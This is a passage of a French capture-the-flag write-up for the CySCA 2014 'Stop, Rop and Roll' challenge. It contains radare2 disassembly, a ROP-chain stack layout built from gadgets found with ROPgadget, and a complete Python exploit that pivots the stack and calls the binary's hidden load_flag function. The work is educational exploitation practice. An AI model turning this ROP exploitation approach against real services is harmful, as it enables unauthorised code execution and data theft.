|     |    0x0804942a    89c2         mov edx, eax
|     |    0x0804942c    b800000000   mov eax, 0
|     |    0x08049431    8b4de4       mov ecx, dword [ebp - 0x1c]
|     |    0x08049434    89d7         mov edi, edx
|     |    0x08049436    f2ae         repne scasb al, byte es:[edi] ; strlen
|     |    0x08049438    89c8         mov eax, ecx
|     |    0x0804943a    f7d0         not eax
|     |    0x0804943c    83e801       sub eax, 1
|     |    0x0804943f    83e801       sub eax, 1
|     |    0x08049442    8945f4       mov dword [ebp - 0xc], eax
|     |    0x08049445    837df400     cmp dword [ebp - 0xc], 0
|    ,===< 0x08049449    7e16         jle 0x8049461
|    ||    0x0804944b    8b45f4       mov eax, dword [ebp - 0xc]
|    ||    0x0804944e    034508       add eax, dword [ebp + 8]
|    ||    0x08049451    0fb600       movzx eax, byte [eax]
|    ||    0x08049454    3c0a         cmp al, 0xa ; regarde si le dernier caractère est un LF
|   ,====< 0x08049456    7509         jne 0x8049461
|   |||    0x08049458    8b45f4       mov eax, dword [ebp - 0xc]
|   |||    0x0804945b    034508       add eax, dword [ebp + 8]
|   |||    0x0804945e    c60000       mov byte [eax], 0 ; strip()
|   ||     ; JMP XREF from 0x08049449 (unk)
|   ``---> 0x08049461    8b4508       mov eax, dword [ebp + 8] ; buffer
|     |    0x08049464    c745e4fffff. mov dword [ebp - 0x1c], 0xffffffff
|     |    0x0804946b    89c2         mov edx, eax
|     |    0x0804946d    b800000000   mov eax, 0
|     |    0x08049472    8b4de4       mov ecx, dword [ebp - 0x1c]
|     |    0x08049475    89d7         mov edi, edx
|     |    0x08049477    f2ae         repne scasb al, byte es:[edi]
|     |    0x08049479    89c8         mov eax, ecx
|     |    0x0804947b    f7d0         not eax
|     |    0x0804947d    83e801       sub eax, 1 ; valeur de retour : longueur du flag
|     `--> 0x08049480    83c434       add esp, 0x34
|          0x08049483    5f           pop edi
|          0x08049484    5d           pop ebp
\          0x08049485    c3           ret

On a ici une fonction load_flag qui prend en argument le buffer de stockage du flag et sa longueur.

Cette fonction n’étant utilisée nul part il va falloir que notre shellcode l’appelle lui même.

Toute la gestion de la connexion est faite dans le fonction handle_client :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
[0x08048e08]> pdf@sym.handle_client
/ (fcn) sym.sigAlarm 629
|          0x0804981b    55           push ebp
|          0x0804981c    89e5         mov ebp, esp
|          0x0804981e    83ec18       sub esp, 0x18
|          0x08049821    a150310f08   mov eax, dword [sym.g_client_socket]
|          0x08049826    c7442404a37. mov dword [esp + 4], str.Execution_timed_out_n
|          0x0804982e    890424       mov dword [esp], eax
|          0x08049831    e889faffff   call sym.socket_printf ; (loc.080492ac)
|             0x080492bf(unk) ; sym.socket_printf
|          0x08049836    c7042401000. mov dword [esp], 1
|          0x0804983d    e81e0f0000   call sym.exit
|             sym.exit()
|          ;-- sym.handle_client:
|          0x08049842    55           push ebp                                                                                                                                                                                               
|          0x08049843    89e5         mov ebp, esp
|          0x08049845    57           push edi
|          0x08049846    53           push ebx
|          0x08049847    81ecd0010000 sub esp, 0x1d0 ; 464
|          0x0804984d    65a114000000 mov eax, dword gs:[0x14] ; [:4]=0
|          0x08049853    8945f4       mov dword [ebp - 0xc], eax
|          0x08049856    31c0         xor eax, eax
|          0x08049858    8d9d74feffff lea ebx, dword [ebp - 0x18c]
|          0x0804985e    b800000000   mov eax, 0
|          0x08049863    ba40000000   mov edx, 0x40 ; '@'
|          0x08049868    89df         mov edi, ebx
|          0x0804986a    89d1         mov ecx, edx ; 64
|          0x0804986c    f3ab         rep stosd dword es:[edi], eax ; bzero(ebp-396, 54)
|          0x0804986e    8d9d74ffffff lea ebx, dword [ebp - 0x8c]
|          0x08049874    b800000000   mov eax, 0
|          0x08049879    ba20000000   mov edx, 0x20
|          0x0804987e    89df         mov edi, ebx
|          0x08049880    89d1         mov ecx, edx
|          0x08049882    f3ab         rep stosd dword es:[edi], eax ; bzero(ebp-140, 32)
|          0x08049884    8b4508       mov eax, dword [ebp + 8] ; [:4]=0
|          0x08049887    a350310f08   mov dword [sym.g_client_socket], eax ;
|          0x0804988c    c7442404b87. mov dword [esp + 4], str.Welcome_to_the_shellcode_3_challenge_n
|          0x08049894    8b4508       mov eax, dword [ebp + 8] ; [:4]=0
|          0x08049897    890424       mov dword [esp], eax
|          0x0804989a    e820faffff   call sym.socket_printf ; (loc.080492ac)
|             0x080492bf(unk, unk, unk) ; sym.socket_printf
|          0x0804989f    c7442404e07. mov dword [esp + 4], str.Please_send_your_all_requested_data_as_hex_encoded_strings_n
|          0x080498a7    8b4508       mov eax, dword [ebp + 8] ; socket
|          0x080498aa    890424       mov dword [esp], eax
|          0x080498ad    e80dfaffff   call sym.socket_printf ; (loc.080492ac)
|             0x080492bf() ; sym.socket_printf
|          0x080498b2    c74424041c7. mov dword [esp + 4], str.DEP_is_on__n ; [:4]=0x3010100
|          0x080498ba    8b4508       mov eax, dword [ebp + 8] ; [:4]=0
|          0x080498bd    890424       mov dword [esp], eax
|          0x080498c0    e8faf9ffff   call sym.socket_printf ; (loc.080492ac)
|             0x080492bf() ; sym.socket_printf
|          0x080498c5    c7442404287. mov dword [esp + 4], str.Payload_Conditions__Truncated_at_zero._Every_16th_byte_must_be_0xCC_n
|          0x080498cd    8b4508       mov eax, dword [ebp + 8] ; [:4]=0
|          0x080498d0    890424       mov dword [esp], eax
|          0x080498d3    e8e7f9ffff   call sym.socket_printf ; (loc.080492ac)
|             0x080492bf() ; sym.socket_printf
|          0x080498d8    c7442404707. mov dword [esp + 4], str.Pivot_and_ROP_conditions__None_apart_from_size_n
|          0x080498e0    8b4508       mov eax, dword [ebp + 8] ; [:4]=0
|          0x080498e3    890424       mov dword [esp], eax
|          0x080498e6    e8d4f9ffff   call sym.socket_printf ; (loc.080492ac)
|             0x080492bf() ; sym.socket_printf
|          0x080498eb    c7442414000. mov dword [esp + 0x14], 0 ; offset=0
|          0x080498f3    c7442410fff. mov dword [esp + 0x10], 0xffffffff ; fd=-1
|          0x080498fb    c744240c220. mov dword [esp + 0xc], 0x22 ; flags MAP_ANONYMOUS|MAP_PRIVATE
|          0x08049903    c7442408030. mov dword [esp + 8], 3 ; protection PROT_READ|PROT_WRITE
|          0x0804990b    c7442404000. mov dword [esp + 4], 0x100
|          0x08049913    c7042400000. mov dword [esp], 0
|          0x0804991a    e851a70100   call sym.mmap ; allocation de 256 octets, adresse choisie par le kernel
|             sym.__open_nocancel() ; sym.__mmap
|          0x0804991f    89856cfeffff mov dword [ebp - 0x194], eax
|          0x08049925    83bd6cfefff. cmp dword [ebp - 0x194], 0
|      ,=< 0x0804992c    751f         jne 0x804994d
|      |   0x0804992e    c7442404a07. mov dword [esp + 4], str.ERROR__Unable_to_allocate_payload_space_n
|      |   0x08049936    8b4508       mov eax, dword [ebp + 8] ; [:4]=0
|      |   0x08049939    890424       mov dword [esp], eax
|      |   0x0804993c    e87ef9ffff   call sym.socket_printf ; (loc.080492ac)
|      |      0x080492bf() ; sym.socket_printf
|      |   0x08049941    c7042401000. mov dword [esp], 1
|      |   0x08049948    e8130e0000   call sym.exit
|      |      sym.exit()
|      |   ; JMP XREF from 0x0804992c (unk)
|      `-> 0x0804994d    8b856cfeffff mov eax, dword [ebp - 0x194]
|          0x08049953    89442408     mov dword [esp + 8], eax ; adresse payload
|          0x08049957    c7442404cc7. mov dword [esp + 4], str.Your_payload_will_be_located_at_0x_08x_n
|          0x0804995f    8b4508       mov eax, dword [ebp + 8] ; [:4]=0
|          0x08049962    890424       mov dword [esp], eax
|          0x08049965    e855f9ffff   call sym.socket_printf ; (loc.080492ac)
|             0x080492bf() ; sym.socket_printf
|          0x0804996a    c7442408080. mov dword [esp + 8], 8 ; [:4]=0
|          0x08049972    c7442404f47. mov dword [esp + 4], str.Please_send_your_pivot___d_characters__n
|          0x0804997a    8b4508       mov eax, dword [ebp + 8] ; [:4]=0
|          0x0804997d    890424       mov dword [esp], eax
|          0x08049980    e83af9ffff   call sym.socket_printf ; (loc.080492ac)
|             0x080492bf() ; sym.socket_printf
|          0x08049985    c7442408040. mov dword [esp + 8], 4 ; taille pivot
|          0x0804998d    8d8564feffff lea eax, dword [ebp - 0x19c] ; buffer pour le pivot
|          0x08049993    89442404     mov dword [esp + 4], eax
|          0x08049997    8b4508       mov eax, dword [ebp + 8]
|          0x0804999a    890424       mov dword [esp], eax
|          0x0804999d    e856fcffff   call sym.sc_recv_shellcode
|             sym.sc_recv_shellcode()
|          0x080499a2    898570feffff mov dword [ebp - 0x190], eax
|          0x080499a8    83bd70fefff. cmp dword [ebp - 0x190], 0
|     ,==< 0x080499af    7f29         jg 0x80499da
|     |    0x080499b1    8b8570feffff mov eax, dword [ebp - 0x190]
|     |    0x080499b7    89442408     mov dword [esp + 8], eax
|     |    0x080499bb    c74424041c7. mov dword [esp + 4], str.ERROR__Error_occurred_when_receiving_pivot.__d_n
|     |    0x080499c3    8b4508       mov eax, dword [ebp + 8]
|     |    0x080499c6    890424       mov dword [esp], eax
|     |    0x080499c9    e8f1f8ffff   call sym.socket_printf ; (loc.080492ac)
|     |       0x080492bf() ; sym.socket_printf
|     |    0x080499ce    c7042401000. mov dword [esp], 1
|     |    0x080499d5    e8860d0000   call sym.exit
|     |       sym.exit()
|     |    ; JMP XREF from 0x080499af (unk)
|     `--> 0x080499da    83bd70fefff. cmp dword [ebp - 0x190], 4
|    ,===< 0x080499e1    7431         je 0x8049a14
|    |     0x080499e3    8b8570feffff mov eax, dword [ebp - 0x190]
|    |     0x080499e9    8944240c     mov dword [esp + 0xc], eax ; [:4]=0
|    |     0x080499ed    c7442408040. mov dword [esp + 8], 4 ; [:4]=0
|    |     0x080499f5    c74424044c7. mov dword [esp + 4], str.Sorry._Bad_pivot_size._Expected__d_bytes_received__d._Bye_n
|    |     0x080499fd    8b4508       mov eax, dword [ebp + 8] ; [:4]=0
|    |     0x08049a00    890424       mov dword [esp], eax
|    |     0x08049a03    e8b7f8ffff   call sym.socket_printf ; (loc.080492ac)
|    |        0x080492bf() ; sym.socket_printf
|    |     0x08049a08    c7042401000. mov dword [esp], 1
|    |     0x08049a0f    e84c0d0000   call sym.exit
|    |        sym.exit()
|    |     ; JMP XREF from 0x080499e1 (unk)
|    `---> 0x08049a14    c7442408000. mov dword [esp + 8], 0x200 ; 512
|          0x08049a1c    c7442404887. mov dword [esp + 4], str.Please_send_your_payload__upto__d_characters__n
|          0x08049a24    8b4508       mov eax, dword [ebp + 8] ; socket
|          0x08049a27    890424       mov dword [esp], eax
|          0x08049a2a    e890f8ffff   call sym.socket_printf ; (loc.080492ac)
|             0x080492bf() ; sym.socket_printf
|          0x08049a2f    c7442408000. mov dword [esp + 8], 0x100 ; 256
|          0x08049a37    8d8574feffff lea eax, dword [ebp - 0x18c] ; payload buffer, rempli de nulls
|          0x08049a3d    89442404     mov dword [esp + 4], eax
|          0x08049a41    8b4508       mov eax, dword [ebp + 8]
|          0x08049a44    890424       mov dword [esp], eax
|          0x08049a47    e8acfbffff   call sym.sc_recv_shellcode
|             sym.sc_recv_shellcode()
|          0x08049a4c    898570feffff mov dword [ebp - 0x190], eax
|          0x08049a52    83bd70fefff. cmp dword [ebp - 0x190], 0
|   ,====< 0x08049a59    7f29         jg 0x8049a84
|   |      0x08049a5b    8b8570feffff mov eax, dword [ebp - 0x190]
|   |      0x08049a61    89442408     mov dword [esp + 8], eax ; [:4]=0
|   |      0x08049a65    c7442404b87. mov dword [esp + 4], str.ERROR__Error_occurred_when_receiving_payload.__d_n
|   |      0x08049a6d    8b4508       mov eax, dword [ebp + 8] ; [:4]=0
|   |      0x08049a70    890424       mov dword [esp], eax
|   |      0x08049a73    e847f8ffff   call sym.socket_printf ; (loc.080492ac)
|   |         0x080492bf() ; sym.socket_printf
|   |      0x08049a78    c7042401000. mov dword [esp], 1
|   |      0x08049a7f    e8dc0c0000   call sym.exit
|   |         sym.exit()
|   |      ; JMP XREF from 0x08049a59 (unk)
|   `----> 0x08049a84    c78568fefff. mov dword [ebp - 0x198], 0x10 ; 16
\          0x08049a8e    eb39         jmp fcn.08049ac9

Et la suite :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
[0x08048e08]> pdf@0x08049ac9
           ; JMP XREF from 0x08049ad5 (fcn.08049a90)
/ (fcn) fcn.08049a90 390
|     .--> 0x08049a90    8d8574feffff lea eax, dword [ebp - 0x18c]
|     |    0x08049a96    038568feffff add eax, dword [ebp - 0x198]
|     |    0x08049a9c    0fb600       movzx eax, byte [eax]
|     |    0x08049a9f    3ccc         cmp al, -0x34
|     |,=< 0x08049aa1    741f         je 0x8049ac2
|     ||   0x08049aa3    c7442404ec7. mov dword [esp + 4], str.Sorry._Payload_conditions_aren_t_met_n
|     ||   0x08049aab    8b4508       mov eax, dword [ebp + 8] ; [:4]=0
|     ||   0x08049aae    890424       mov dword [esp], eax
|     ||   0x08049ab1    e809f8ffff   call sym.socket_printf ; (loc.080492ac)
|     ||      0x080492bf() ; sym.socket_printf
|     ||   ; JMP XREF from 0x08049aa8 (fcn.08049a90)
|     ||   0x08049ab6    c7042401000. mov dword [esp], 1
|     ||   0x08049abd    e89e0c0000   call sym.exit
|     ||      sym.exit()
|     ||   ; JMP XREF from 0x08049aa1 (fcn.08049a90)
|     |`-> 0x08049ac2    838568fefff. add dword [ebp - 0x198], 0x10
|     |    ; JMP XREF from 0x08049a8e (unk)
|- fcn.08049ac9 333
|     |    0x08049ac9    8b8568feffff mov eax, dword [ebp - 0x198]
|     |    0x08049acf    3b8570feffff cmp eax, dword [ebp - 0x190]
|     `==< 0x08049ad5    7cb9         jl fcn.08049a90
|          0x08049ad7    8d8574feffff lea eax, dword [ebp - 0x18c]
|          0x08049add    c7442408ff0. mov dword [esp + 8], 0xff ; [:4]=0
|          0x08049ae5    89442404     mov dword [esp + 4], eax ; [:4]=0x3010100
|          0x08049ae9    8b856cfeffff mov eax, dword [ebp - 0x194]
|          0x08049aef    890424       mov dword [esp], eax
|          0x08049af2    e889e7ffff   call fcn.08048280 ; uh ?
|             fcn.08048280()
|          0x08049af7    8d8574feffff lea eax, dword [ebp - 0x18c]
|          0x08049afd    89c3         mov ebx, eax
|          0x08049aff    b800000000   mov eax, 0
|          0x08049b04    ba40000000   mov edx, 0x40 ; 64
|          0x08049b09    89df         mov edi, ebx
|          0x08049b0b    89d1         mov ecx, edx
|          0x08049b0d    f3ab         rep stosd dword es:[edi], eax
|          0x08049b0f    8b856cfeffff mov eax, dword [ebp - 0x194]
|          0x08049b15    c78554fefff. mov dword [ebp - 0x1ac], 0xffffffff
|          0x08049b1f    89c2         mov edx, eax
|          0x08049b21    b800000000   mov eax, 0
|          0x08049b26    8b8d54feffff mov ecx, dword [ebp - 0x1ac]
|          0x08049b2c    89d7         mov edi, edx
|          0x08049b2e    f2ae         repne scasb al, byte es:[edi]
|          0x08049b30    89c8         mov eax, ecx
|          0x08049b32    f7d0         not eax
|          0x08049b34    83e801       sub eax, 1
|          0x08049b37    89442408     mov dword [esp + 8], eax ; [:4]=0
|          0x08049b3b    c7442404127. mov dword [esp + 4], str.Received__d_bytes_of_payload_n
|          0x08049b43    8b4508       mov eax, dword [ebp + 8] ; [:4]=0
|          0x08049b46    890424       mov dword [esp], eax
|          0x08049b49    e871f7ffff   call sym.socket_printf ; (loc.080492ac)
|             0x080492bf() ; sym.socket_printf
|          0x08049b4e    c7442408000. mov dword [esp + 8], 0x100 ; 256
|          0x08049b56    c7442404307. mov dword [esp + 4], str.Please_send_your_rop_chain__upto__d_characters__n
|          0x08049b5e    8b4508       mov eax, dword [ebp + 8] ; [:4]=0
|          0x08049b61    890424       mov dword [esp], eax
|          0x08049b64    e856f7ffff   call sym.socket_printf ; (loc.080492ac)
|             0x080492bf() ; sym.socket_printf
|          0x08049b69    c7442408800. mov dword [esp + 8], 0x80 ; 128 = length
|          0x08049b71    8d8574ffffff lea eax, dword [ebp - 0x8c] ; buffer rop-chain
|          0x08049b77    89442404     mov dword [esp + 4], eax ;
|          0x08049b7b    8b4508       mov eax, dword [ebp + 8] ; socket
|          0x08049b7e    890424       mov dword [esp], eax
|          0x08049b81    e872faffff   call sym.sc_recv_shellcode
|             sym.sc_recv_shellcode()
|          0x08049b86    898570feffff mov dword [ebp - 0x190], eax
|          0x08049b8c    83bd70fefff. cmp dword [ebp - 0x190], 0
|    ,===< 0x08049b93    7f29         jg 0x8049bbe
|    |     0x08049b95    8b8570feffff mov eax, dword [ebp - 0x190]
|    |     0x08049b9b    89442408     mov dword [esp + 8], eax ; [:4]=0
|    |     0x08049b9f    c7442404647. mov dword [esp + 4], str.ERROR__Error_occurred_when_receiving_rop_chain.__d_n
|    |     0x08049ba7    8b4508       mov eax, dword [ebp + 8] ; [:4]=0
|    |     0x08049baa    890424       mov dword [esp], eax
|    |     0x08049bad    e80df7ffff   call sym.socket_printf ; (loc.080492ac)
|    |        0x080492bf() ; sym.socket_printf
|    |     0x08049bb2    c7042401000. mov dword [esp], 1
|    |     0x08049bb9    e8a20b0000   call sym.exit
|    |        sym.exit()
|    |     ; JMP XREF from 0x08049b93 (fcn.08049a90)
|    `---> 0x08049bbe    8b8570feffff mov eax, dword [ebp - 0x190]
|          0x08049bc4    89442408     mov dword [esp + 8], eax ; [:4]=0
|          0x08049bc8    c7442404987. mov dword [esp + 4], str.Received__d_bytes_of_rop_chain_n
|          0x08049bd0    8b4508       mov eax, dword [ebp + 8] ; [:4]=0
|          0x08049bd3    890424       mov dword [esp], eax
|          0x08049bd6    e8e4f6ffff   call sym.socket_printf ; (loc.080492ac)
|             0x080492bf() ; sym.socket_printf
|          0x08049bdb    c74424041b9. mov dword [esp + 4], sym.sigAlarm
|          0x08049be3    c704240e000. mov dword [esp], 0xe
|          0x08049bea    e821080000   call sym.signal
|             sym.signal() ; sym.__bsd_signal
|          0x08049bef    c704240a000. mov dword [esp], 0xa
|          0x08049bf6    e8a5920100   call sym.alarm
|             sym.alarm()
|          0x08049bfb    8b4508       mov eax, dword [ebp + 8]
|          0x08049bfe    890424       mov dword [esp], eax
|          0x08049c01    e86af9ffff   call sym.sc_setup_handlers ; (sym.sc_sigillHandler)
|             sym.sc_sigillHandler() ; sym.sc_setup_handlers
|          0x08049c06    8b9564feffff mov edx, dword [ebp - 0x19c] ; pivot
|          0x08049c0c    8d8574ffffff lea eax, dword [ebp - 0x8c] ; ROP-chain
|          0x08049c12    89d1         mov ecx, edx
|          0x08049c14    51           push ecx
\          0x08049c15    c3           ret  ; jump vers pivot

On en apprend ainsi beaucoup plus sur le contexte d’exécution.

Ce qu’on retiendra :

  • L’adresse de notre rop-chain est stockée dans eax. Il faut trouver un gadget (le pivot) qui permettra par exemple d’échanger eax et esp.
  • Le serveur nous autorise 32 entrées dans la ROP chain ce qui semble beaucoup. Il n’y pas de restrictions sur le contenu donc c’est positif.
  • On voit des appels aux fonctions custom socket_printf(int sock, char * s) et sc_recv_shellcode qui pourraient nous aider. Mais comme vu dans le code l’espace alloué pour le payload n’est pas exécutable et de plus il faudrait connaître le descripteur de la socket.

Pour trouver des ROPs dans l’exécutable j’ai eu recours à l’outil ROPgadget écrit sur Python et basé entre autres sur Capstone. Il suffit de lui spécifier le binaire via le paramètre binary :

1
$ ./ROPgadget.py --binary 8305f5c99ba1d89802940f6e68f802f5-sc03

Rapidement j’ai trouvé un gadget de choix pour le pivot :

1
0x080511ec : xchg eax, esp ; ret

J’ai fait une première esquisse de ma rop-chain de cette manière selon mon objectif :

1
2
3
4
5
6
7
8
9
10
11
12
----- top -----

arg2 : adresse de payload (qui sert de buffer d'écriture)
arg1 : socket client
gargage
@socket_printf
arg2 : longueur 32, choisi au feeling
arg1 : adresse du buffer payload
@gadget_clear_args (pop-pop-ret)
@load_flag

--- bottom ---

Je représente toujours la stack avec les adresses hautes en haut (voir le contraire m’énerve).

Par conséquent le programme va d’abord appeler load_flag puis remontera en dépilant les adresses.

Comme load_flag prend deux arguments, le second appel devra être un gadget capable de dépiler deux dword de la pile avant de faire un ret.

On trouve de nombreux gadgets en pop-pop-ret mais j’ai choisi le suivant :

1
0x0804c3ea : pop ebx ; pop esi ; ret

Il ne reste plus qu’un problème (mais de taille) : récupérer le descripteur de la socket que l’on doit passer en argument à socket_printf.

Quand on analyse attentivement la fonction handle_client on remarque que socket_printf est appelé plusieurs fois avec une socket qui provient de ebp+8.

On a beau passer par load_flag dans notre ROP-chain, ebp n’est pas modifié dans le sens ou le prologue de la fonction le change mais l’épilogue le rétabli.

Quand à notre gadget il ne touche pas ebp par conséquent le descripteur est toujours à l’adresse ebp+8.

J’ai trouvé un gadget fort sympathique qui placera ainsi la socket dans le registre eax avant de la placer dans la pile où il faut :

1
0x080c6569 : mov eax, dword ptr [ebp + 8] ; add eax, ebx ; mov dword ptr [esp], eax ; call esi

Deux inconvénients :

  • il faut que ebx soit à zéro sinon le descripteur de la socket sera modifié.
  • il faut que l’adresse de socket_printf soit dans esi en raison du call final.

Si j’ai choisi précédemment un pop ebx; pop esi; ret parmi les pop-pop-ret existants c’est pour une raison ;-)

Ainsi notre rop-chain aura ce look :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
----- top -----

adresse payload (pour etre sur)
adresse payload
@gadget_put_socket_stack_and_call_esi
adresse socket_printf pour esi
0 pour ebx
@gadget_pop_ebx_esi
arg2 : len = 32
arg1 : adresse de payload
@gadget_pop_ebx_esi
@load_flag

--- bottom ---

J’ai placé deux fois l’adresse du payload à la fin parce que j’ai du mal à m’y retrouver avec tous ces rets et calls ;-)

Et avec les valeurs :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
----- top -----

adresse payload
adresse payload
0x080c6569 : set sockfd on stack, call esi
0x080492bf : @socket_printf
0
0x0804c3ea : @pop 0 pop socket_printf ret
32
@payload
0x0804c3ea : @pop pop ret
0x080493cc : @load_flag

--- bottom ---

J’ai écrit l’exploit suivant :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#!/usr/bin/python2                                                                                                                                                                                                                           
# devloop - CySCA 2014 Stop, Rop and Roll CTF exploit                                                                                                                                                                                        
import socket                                                                                                                                                                                                                                
import struct                                                                                                                                                                                                                                
import re                                                                                                                                                                                                                                    

def read_while(sock_fd, marker):                                                                                                                                                                                                             
    buffer = ""                                                                                                                                                                                                                              
    while True:                                                                                                                                                                                                                              
        buffer += sock_fd.recv(1024)                                                                                                                                                                                                         
        if marker in buffer:                                                                                                                                                                                                                 
            break
    return buffer

def send_hex(sock_fd, data):
    sock_fd.send(data.encode("hex_codec"))

pivot = 0x080511ec
load_flag = 0x080493cc
pop_ebx_esi = 0x0804c3ea
socket_printf = 0x080492bf
get_sock_call_esi = 0x080c6569

sock = socket.socket()
sock.connect(('192.168.1.64', 22523))

s = read_while(sock, "Your payload will be located at ").strip()
payload = re.search(r'0x([0-9a-f]{8})', s).group(1)
print "Payload addr is", payload
payload = struct.unpack(">I", payload.decode("hex_codec"))[0]

read_while(sock, "Please send your pivot (8 characters)")
send_hex(sock, struct.pack('<I', pivot))

read_while(sock, "Please send your payload (upto 512 characters)")
sock.send("cc" * 128)

read_while(sock, "Please send your rop chain (upto 256 characters)")

chain = struct.pack("<I", load_flag)
chain += struct.pack("<I", pop_ebx_esi)
chain += struct.pack("<I", payload)
chain += struct.pack("<I", 32)
chain += struct.pack("<I", pop_ebx_esi)
chain += struct.pack("<I", 0)
chain += struct.pack("<I", socket_printf)
chain += struct.pack("<I", get_sock_call_esi)
chain += struct.pack("<I", payload)
chain += struct.pack("<I", payload)

send_hex(sock, chain)
sock.recv(1024)
buff = sock.recv(1024)
print "Received", buff

sock.close()

Et à la première exécution (Yes !) :

1
2
3
$ ./rop.py 
Payload addr is b7731000
Received RoofTitleSuspicious854A SIGSEGV was raised during shellcode execution. Exiting

La solution donné par les organisateurs est plus compliquée : faire un ROP chain qui appelle mprotect() pour rendre la zone mémoire du payload exécutable pour sauter dessus.

Published May 12 2015 at 14:08

Cet article est sous licence CC BY 4.0 par l'auteur.